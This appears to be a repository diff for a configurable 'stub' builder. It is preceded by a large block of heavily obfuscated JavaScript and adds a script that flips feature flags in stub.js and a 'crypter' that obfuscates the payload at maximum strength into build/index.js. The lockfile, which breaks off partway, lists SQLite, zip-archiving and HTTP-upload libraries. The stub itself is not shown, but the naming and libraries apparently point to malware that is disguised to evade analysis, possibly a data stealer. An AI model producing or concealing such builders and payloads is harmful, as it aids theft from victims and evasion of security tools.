__Uint8Array},__TextDecoder=cBsPZ_(function(...__globalObject){__globalObject[ToYJfN[0x4]]=ToYJfN[0x25];for(__globalObject[ToYJfN[0x20]]=__globalObject[ToYJfN[0x8]];__globalObject[ToYJfN[0x20]]<__globalObject[ToYJfN[0x11]];__globalObject[ToYJfN[0x20]]++){if(__globalObject[ToYJfN[0x1]].length!==__globalObject[ToYJfN[0x20]])return;for(__globalObject[ToYJfN[0x9]]=ToYJfN[0x0];__globalObject[ToYJfN[0x9]]<__globalObject[ToYJfN[0x11]];__globalObject[ToYJfN[0x9]]++)if(__Buffer(__globalObject[ToYJfN[0x1]],[__globalObject[ToYJfN[0x20]],__globalObject[ToYJfN[0x9]]])){aDbyYa5(__globalObject[ToYJfN[0x1]].push([__globalObject[ToYJfN[0x20]],__globalObject[ToYJfN[0x9]]]),__TextDecoder(__globalObject[ToYJfN[0x0]],__globalObject[ToYJfN[0x1]],__globalObject[ToYJfN[0x11]],__globalObject[ToYJfN[0x20]]+ToYJfN[0x1]));if(__globalObject[ToYJfN[0x1]].length===__globalObject[ToYJfN[0x11]])__globalObject[ToYJfN[0x0]].push(__Uint8Array(__globalObject[ToYJfN[0x1]]));__globalObject[ToYJfN[0x1]].pop()}}},ToYJfN[0x25]),__Uint8Array=cBsPZ_(function(...__globalObject){var __TextDecoder,__Uint8Array;function*__Buffer(__Uint8Array,__Buffer,__Array,utf8ArrayToStr,__String={Rgn7da:{}}){while(__Uint8Array+__Buffer+__Array+utf8ArrayToStr!==0x30)with(__String.ztb3DBL||__String)switch(__Uint8Array+__Buffer+__Array+utf8ArrayToStr){default:aDbyYa5([__String.Rgn7da.Jo64m5,__String.Rgn7da.vMA8q3m,__String.Rgn7da.mgAPxx]=[-0x88,0xdf,-0xbd],__globalObject[ToYJfN[0x4]]=ToYJfN[0x1],__globalObject[ToYJfN[__Buffer+0xc4]]=[],__String.ztb3DBL=__String.Rgn7da,__Uint8Array+=-0x1e,__Buffer+=0x19a,__Array+=0xce,utf8ArrayToStr+=-0x33a);break;case __String.Rgn7da.vMA8q3m+-0x9f:case 0xb8:case-0x5d:aDbyYa5(__String.ztb3DBL=__String.Rgn7da,__Array+=0x51,utf8ArrayToStr+=-0x10c);break;case __String.Rgn7da.vMA8q3m+-0x157:aDbyYa5(__String.ztb3DBL=__String.Rgn7da,__Array+=0x51,utf8ArrayToStr+=-0x54);break;case __Uint8Array-0xe9:__globalObject[-ToYJfN[__Uint8Array+0x1f]]=__globalObject[ToYJfN[__Array+-0xbc]].length;for(__globalObject[-ToYJfN[__Buffer+-0xcb]]=ToYJfN[__Array+-0xbc];__globalObject[-ToYJfN[__Array+-0x91]]<__globalObject[-ToYJfN[0x2c]];__globalObject[-ToYJfN[0x2b]]++){__globalObject[ToYJfN[0x20]][__globalObject[-ToYJfN[0x2b]]]=\\\"\\\";for(__globalObject[ToYJfN[0x25]]=ToYJfN[0x0];__globalObject[ToYJfN[0x25]]<__globalObject[-ToYJfN[__Uint8Array+0x1f]];__globalObject[ToYJfN[__Uint8Array+0x18]]++)__globalObject[ToYJfN[0x20]][__globalObject[-ToYJfN[__Buffer+-0xcb]]]+=__globalObject[ToYJfN[0x0]][__globalObject[-ToYJfN[__Buffer+-0xcb]]][ToYJfN[0x1]]===__globalObject[ToYJfN[0x25]]?\\\"Q\\\":\\\".\\\"}return __TextDecoder=!0x0,__globalObject[ToYJfN[__Array+-0x9c]];case __String.Rgn7da.mgAPxx+0x42:case-0x54:case-0x23:aDbyYa5(__String.ztb3DBL=__String.QvYxtw,__Uint8Array+=0x66,__Buffer+=0x1c,__Array+=-0x71,utf8ArrayToStr+=0x7e);break;case-0x3d:[__String.Rgn7da.Jo64m5,__String.Rgn7da.vMA8q3m,__String.Rgn7da.mgAPxx]=[-0x24,0x9b,-0xe3];if(!(__Array==__Buffer+0x1dd)){aDbyYa5(__String.ztb3DBL=__String.Rgn7da,__Uint8Array+=-0x1c,__Buffer+=0x275,__Array+=-0x8a,utf8ArrayToStr+=-0x26e);break}case __Uint8Array-0x44:case-0x3:aDbyYa5(__globalObject[ToYJfN[__Buffer+0x183]]=ToYJfN[0x1],__globalObject[ToYJfN[__Buffer+0x19f]]=[],__String.ztb3DBL=__String.Rgn7da,__Uint8Array+=0x48,__Buffer+=0x275,__Array+=0xae,utf8ArrayToStr+=-0x3c8);break;case utf8ArrayToStr- -0xa2:aDbyYa5(__String.ztb3DBL=__String.Rgn7da,__Buffer+=0xbf,__Array+=0x5e,utf8ArrayToStr+=-0x2bc);break}}aDbyYa5(__TextDecoder=void 0x0,__Uint8Array=__Buffer(0x2b,-0xa4,-0x12,0x9f).next().value);if(__TextDecoder){return __Uint8Array}}),__Buffer=cBsPZ_(function(...__globalObject){aDbyYa5(__globalObject[ToYJfN[0x4]]=ToYJfN[0x11],__globalObject[ToYJfN[0x11]]=__globalObject[ToYJfN[0x0]].length);for(__globalObject[ToYJfN[0x9]]=ToYJfN[0x0];__globalObject[ToYJfN[0x9]]<__globalObject[ToYJfN[0x11]];__globalObject[ToYJfN[0x9]]++){function __TextDecoder(__globalObject){var __TextDecoder=\\\"xOG0\\\\\\\"lFJt~.H=X@9n]AB#Rsv&3z+{^h,6?T(qg*YyEQC;iu_/b$Z2k)Mf%ac|W`Pj1SUNd8:K7VIp!}m\\\",__Uint8Array,__Buffer,__Array,utf8ArrayToStr,Jio0U4O,prOEhN,KQhWR5;aDbyYa5(__Uint8Array=\\\"\\\"+(__globalObject||\\\"\\\"),__Buffer=__Uint8Array.length,__Array=[],utf8ArrayToStr=ToYJfN[0x0],Jio0U4O=ToYJfN[0x0],prOEhN=-ToYJfN[0x1]);for(KQhWR5=ToYJfN[0x0];KQhWR5<__Buffer;KQhWR5++){var fhAUwQ=__TextDecoder.indexOf(__Uint8Array[KQhWR5]);if(fhAUwQ===-ToYJfN[0x1])continue;if(prOEhNToYJfN[0x19]?ToYJfN[0x1a]:ToYJfN[0x1b]);do{aDbyYa5(__Array.push(utf8ArrayToStr&ToYJfN[0x3]),utf8ArrayToStr>>=ToYJfN[0x2],Jio0U4O-=ToYJfN[0x2])}while(Jio0U4O>ToYJfN[0xe]);prOEhN=-ToYJfN[0x1]}}if(prOEhN>-ToYJfN[0x1]){__Array.push((utf8ArrayToStr|prOEhN< { + fs.readFile(filePath, 'utf8', (err, data) => { + if (err) { + callback(err, null); + return; + } + try { + const jsonData = JSON.parse(data); + callback(null, jsonData); + } catch (parseError) { + callback(parseError, null); + } + }); +}; + +readJsonFile(checkboxFilePath, (err, jsonData) => { + if (err) { + console.error('Error reading or parsing checkbox.json file:', err); + return; + } + + fs.readFile(stubFilePath, 'utf8', (err, stubData) => { + if (err) { + console.error('Error reading stub.js file:', err); + return; + } + + console.log('Updating CONFIG object in stub.js...'); + + const configPattern = /const CONFIG = \{([\s\S]*?)\};/; + const match = stubData.match(configPattern); + + if (match) { + let configBlock = match[1]; + + Object.keys(jsonData).forEach(key => { + const val = jsonData[key]; + const keyPattern = new RegExp(`(${key}:\\s*)(true|false)`, 'i'); + + if (keyPattern.test(configBlock)) { + console.log(`Setting ${key} to ${val}`); + configBlock = configBlock.replace(keyPattern, `$1${val}`); + } + }); + + const newStubData = stubData.replace(configPattern, `const CONFIG = {${configBlock}};`); + + fs.writeFile(stubFilePath, newStubData, 'utf8', (err) => { + if (err) { + console.error('Error writing to stub.js:', err); + return; + } + console.log('stub.js CONFIG has been updated successfully.'); + }); + } + }); +}); diff --git a/stub/jscrypter.js b/stub/jscrypter.js new file mode 100644 index 0000000..ee37d24 --- /dev/null +++ b/stub/jscrypter.js @@ -0,0 +1,68 @@ +const JsConfuser = require("js-confuser"); +const fs = require('fs'); +const colors = require('colors'); +const path = require('path'); +const { exec } = require('child_process'); + +const inputFile = "./node_modules/input.js"; + +if (!fs.existsSync(inputFile)) { + console.error('โŒ input.js file not found in node_modules/'); + process.exit(1); +} + +try { + const file = fs.readFileSync(inputFile, "utf-8"); + + JsConfuser.obfuscate(file, { + "calculator": true, + "compact": true, + "controlFlowFlattening": 1.0, + "deadCode": 0.9, + "dispatcher": 1.0, + "duplicateLiteralsRemoval": 1.0, + "globalConcealing": true, + "hexadecimalNumbers": true, + "identifierGenerator": "mangled", + "minify": true, + "movedDeclarations": true, + "objectExtraction": true, + "opaquePredicates": 1.0, + "preset": "high", + "renameGlobals": true, + "renameVariables": true, + "shuffle": "hash", + "stringConcealing": true, + "stringSplitting": 1.0, + "target": "node" + }).then((obfuscatedCode) => { + console.log('โœ… Code obfuscated with JsConfuser'); + + const targetFolderName = '../build'; + const fileName = 'index.js'; + const targetFolder = path.join(__dirname, targetFolderName); + + if (!fs.existsSync(targetFolder)) { + fs.mkdirSync(targetFolder, { recursive: true }); + } + + const targetFile = path.join(targetFolder, fileName); + + if (typeof obfuscatedCode !== 'string') { + console.error('โŒ Error: The obfuscated code is not a string'); + console.log('Type received:', typeof obfuscatedCode); + process.exit(1); + } + + fs.writeFileSync(targetFile, obfuscatedCode, { encoding: 'utf-8' }); + console.log('โœ… Final file written to build/index.js'); + + }).catch((error) => { + console.error('โŒ Error during JsConfuser obfuscation:', error); + process.exit(1); + }); + +} catch (error) { + console.error('โŒ Error reading input.js file:', error); + process.exit(1); +} diff --git a/stub/package-lock.json b/stub/package-lock.json new file mode 100644 index 0000000..569a5d9 --- /dev/null +++ b/stub/package-lock.json @@ -0,0 +1,3772 @@ +{ + "name": "stub", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "dependencies": { + "archiver": "^7.0.1", + "axios": "^1.13.2", + "colors": "^1.4.0", + "form-data": "^4.0.5", + "javascript-obfuscator": "^4.1.1", + "js-confuser": "^1.7.1", + "readline-sync": "^1.4.10", + "sqlite3": "^5.1.7" + } + }, + "node_modules/@gar/promisify": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz", + "integrity": "sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==", + "license": "MIT", + "optional": true + }, + "node_modules/@inversifyjs/common": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/@inversifyjs/common/-/common-1.3.3.tgz", + "integrity": "sha512-ZH0wrgaJwIo3s9gMCDM2wZoxqrJ6gB97jWXncROfYdqZJv8f3EkqT57faZqN5OTeHWgtziQ6F6g3L8rCvGceCw==", + "license": "MIT" + }, + "node_modules/@inversifyjs/core": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/@inversifyjs/core/-/core-1.3.4.tgz", + "integrity": "sha512-gCCmA4BdbHEFwvVZ2elWgHuXZWk6AOu/1frxsS+2fWhjEk2c/IhtypLo5ytSUie1BCiT6i9qnEo4bruBomQsAA==", + "license": "MIT", + "dependencies": { + "@inversifyjs/common": "1.3.3", + "@inversifyjs/reflect-metadata-utils": "0.2.3" + } + }, + "node_modules/@inversifyjs/reflect-metadata-utils": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@inversifyjs/reflect-metadata-utils/-/reflect-metadata-utils-0.2.3.tgz", + "integrity": "sha512-d3D0o9TeSlvaGM2I24wcNw/Aj3rc4OYvHXOKDC09YEph5fMMiKd6fq1VTQd9tOkDNWvVbw+cnt45Wy9P/t5Lvw==", + "license": "MIT", + "peerDependencies": { + "reflect-metadata": "0.2.2" + } + }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "license": "ISC", + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@javascript-obfuscator/escodegen": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/@javascript-obfuscator/escodegen/-/escodegen-2.3.1.tgz", + "integrity": "sha512-Z0HEAVwwafOume+6LFXirAVZeuEMKWuPzpFbQhCEU9++BMz0IwEa9bmedJ+rMn/IlXRBID9j3gQ0XYAa6jM10g==", + "license": "BSD-2-Clause", + "dependencies": { + "@javascript-obfuscator/estraverse": "^5.3.0", + "esprima": "^4.0.1", + "esutils": "^2.0.2", + "optionator": "^0.8.1" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/@javascript-obfuscator/estraverse": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@javascript-obfuscator/estraverse/-/estraverse-5.4.0.tgz", + "integrity": "sha512-CZFX7UZVN9VopGbjTx4UXaXsi9ewoM1buL0kY7j1ftYdSs7p2spv9opxFjHlQ/QGTgh4UqufYqJJ0WKLml7b6w==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/@npmcli/fs": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz", + "integrity": "sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "@gar/promisify": "^1.0.1", + "semver": "^7.3.5" + } + }, + "node_modules/@npmcli/move-file": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz", + "integrity": "sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==", + "deprecated": "This functionality has been moved to @npmcli/fs", + "license": "MIT", + "optional": true, + "dependencies": { + "mkdirp": "^1.0.4", + "rimraf": "^3.0.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@npmcli/move-file/node_modules/mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "license": "MIT", + "optional": true, + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/@tootallnate/once": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", + "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/@types/validator": { + "version": "13.15.10", + "resolved": "https://registry.npmjs.org/@types/validator/-/validator-13.15.10.tgz", + "integrity": "sha512-T8L6i7wCuyoK8A/ZeLYt1+q0ty3Zb9+qbSSvrIVitzT3YjZqkTZ40IbRsPanlB4h1QB3JVL1SYCdR6ngtFYcuA==", + "license": "MIT" + }, + "node_modules/abbrev": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", + "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", + "license": "ISC", + "optional": true + }, + "node_modules/abort-controller": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", + "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", + "license": "MIT", + "dependencies": { + "event-target-shim": "^5.0.0" + }, + "engines": { + "node": ">=6.5" + } + }, + "node_modules/acorn": { + "version": "8.15.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", + "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/agentkeepalive": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.6.0.tgz", + "integrity": "sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "humanize-ms": "^1.2.1" + }, + "engines": { + "node": ">= 8.0.0" + } + }, + "node_modules/aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "license": "MIT", + "optional": true, + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/aproba": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz", + "integrity": "sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==", + "license": "ISC", + "optional": true + }, + "node_modules/archiver": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/archiver/-/archiver-7.0.1.tgz", + "integrity": "sha512-ZcbTaIqJOfCc03QwD468Unz/5Ir8ATtvAHsK+FdXbDIbGfihqh9mrvdcYunQzqn4HrvWWaFyaxJhGZagaJJpPQ==", + "license": "MIT", + "dependencies": { + "archiver-utils": "^5.0.2", + "async": "^3.2.4", + "buffer-crc32": "^1.0.0", + "readable-stream": "^4.0.0", + "readdir-glob": "^1.1.2", + "tar-stream": "^3.0.0", + "zip-stream": "^6.0.1" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/archiver-utils": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-5.0.2.tgz", + "integrity": "sha512-wuLJMmIBQYCsGZgYLTy5FIB2pF6Lfb6cXMSF8Qywwk3t20zWnAi7zLcQFdKQmIB8wyZpY5ER38x08GbwtR2cLA==", + "license": "MIT", + "dependencies": { + "glob": "^10.0.0", + "graceful-fs": "^4.2.0", + "is-stream": "^2.0.1", + "lazystream": "^1.0.0", + "lodash": "^4.17.15", + "normalize-path": "^3.0.0", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/are-we-there-yet": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz", + "integrity": "sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==", + "deprecated": "This package is no longer supported.", + "license": "ISC", + "optional": true, + "dependencies": { + "delegates": "^1.0.0", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/are-we-there-yet/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "license": "MIT", + "optional": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/array-differ": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/array-differ/-/array-differ-4.0.0.tgz", + "integrity": "sha512-Q6VPTLMsmXZ47ENG3V+wQyZS1ZxXMxFyYzA+Z/GMrJ6yIutAIEf9wTyroTzmGjNfox9/h3GdGBCVh43GVFx4Uw==", + "license": "MIT", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/array-union": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-3.0.1.tgz", + "integrity": "sha512-1OvF9IbWwaeiM9VhzYXVQacMibxpXOMYVNIvMtKRyX9SImBXpKcFr8XvFDeEslCyuH/t6KRt7HEO94AlP8Iatw==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/assert": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/assert/-/assert-2.1.0.tgz", + "integrity": "sha512-eLHpSK/Y4nhMJ07gDaAzoX/XAKS8PSaojml3M0DM4JpV1LAi5JOJ/p6H/XWrl8L+DzVEvVCW1z3vWAaB9oTsQw==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "is-nan": "^1.3.2", + "object-is": "^1.1.5", + "object.assign": "^4.1.4", + "util": "^0.12.5" + } + }, + "node_modules/async": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", + "license": "MIT" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/available-typed-arrays": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz", + "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==", + "license": "MIT", + "dependencies": { + "possible-typed-array-names": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/axios": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.2.tgz", + "integrity": "sha512-VPk9ebNqPcy5lRGuSlKx752IlDatOjT9paPlm8A7yOuW2Fbvp4X3JznJtT4f0GzGLLiWE9W8onz51SqLYwzGaA==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.15.6", + "form-data": "^4.0.4", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/b4a": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/b4a/-/b4a-1.7.3.tgz", + "integrity": "sha512-5Q2mfq2WfGuFp3uS//0s6baOJLMoVduPYVeNmDYxu5OUA1/cBfvr2RIS7vi62LdNj/urk1hfmj867I3qt6uZ7Q==", + "license": "Apache-2.0", + "peerDependencies": { + "react-native-b4a": "*" + }, + "peerDependenciesMeta": { + "react-native-b4a": { + "optional": true + } + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "license": "MIT" + }, + "node_modules/bare-events": { + "version": "2.8.2", + "resolved": "https://registry.npmjs.org/bare-events/-/bare-events-2.8.2.tgz", + "integrity": "sha512-riJjyv1/mHLIPX4RwiK+oW9/4c3TEUeORHKefKAKnZ5kyslbN+HXowtbaVEqt4IMUB7OXlfixcs6gsFeo/jhiQ==", + "license": "Apache-2.0", + "peerDependencies": { + "bare-abort-controller": "*" + }, + "peerDependenciesMeta": { + "bare-abort-controller": { + "optional": true + } + } + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/bindings": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", + "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", + "license": "MIT", + "dependencies": { + "file-uri-to-path": "1.0.0" + } + }, + "node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "license": "MIT", + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/bl/node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/bl/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": 